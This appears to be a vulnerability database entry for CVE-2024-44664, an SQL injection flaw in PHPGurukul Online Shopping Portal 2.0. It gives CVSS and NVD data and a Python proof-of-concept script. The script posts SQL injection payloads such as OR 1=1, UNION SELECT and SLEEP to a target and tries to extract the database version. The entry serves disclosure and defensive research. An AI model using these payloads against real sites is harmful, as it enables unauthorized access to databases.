Security Vulnerability Report
中文
CVE-2024-44664 CVSS 6.5 MEDIUM

CVE-2024-44664

Published: 2025-11-17 20:15:50
Last Modified: 2025-11-18 20:43:28

Description

PHPGurukul Online Shopping Portal 2.0 is vulnerable to SQL Injection via the name, summary, review, quality, price, and value parameters in product-details.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:online_shopping_portal:2.0:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Online Shopping Portal 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-44664 SQL Injection PoC # Target: PHPGurukul Online Shopping Portal 2.0 - product-details.php # Vulnerable Parameters: name, summary, review, quality, price, value def test_sql_injection(url, param): """ Test for SQL injection vulnerability """ # Basic payload to test for SQL injection payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "1' ORDER BY 1--" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } for payload in payloads: try: data = {param: payload} response = requests.post(url, data=data, headers=headers, timeout=10) # Check for SQL error messages if any(err in response.text for err in ['SQL syntax', 'MySQL', 'Warning', 'mysql_fetch']): print(f"[+] Potential SQL Injection detected with payload: {payload}") print(f"[+] Response length: {len(response.text)}") return True except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def extract_data(url, param): """ Extract database information using UNION-based SQL injection """ # Database version extraction payload payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL--" try: data = {param: payload} response = requests.post(url, data=data, timeout=10) if '5.' in response.text or '8.' in response.text: print(f"[+] Database version extracted successfully") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <url> <parameter>") print(f"Example: python {sys.argv[0]} http://target.com/product-details.php name") sys.exit(1) target_url = sys.argv[1] target_param = sys.argv[2] print(f"[*] Testing CVE-2024-44664 SQL Injection") print(f"[*] Target: {target_url}") print(f"[*] Parameter: {target_param}") if test_sql_injection(target_url, target_param): print("[!] Vulnerability confirmed!") extract_data(target_url, target_param) else: print("[-] No SQL injection detected")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44664", "sourceIdentifier": "[email protected]", "published": "2025-11-17T20:15:49.700", "lastModified": "2025-11-18T20:43:28.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Online Shopping Portal 2.0 is vulnerable to SQL Injection via the name, summary, review, quality, price, and value parameters in product-details.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_shopping_portal:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E358155-68C0-4C86-8359-49F37445DC44"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44664.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/shopping-portal-free-download/", "source": "[email protected]", "tags": ["Product"]}]}}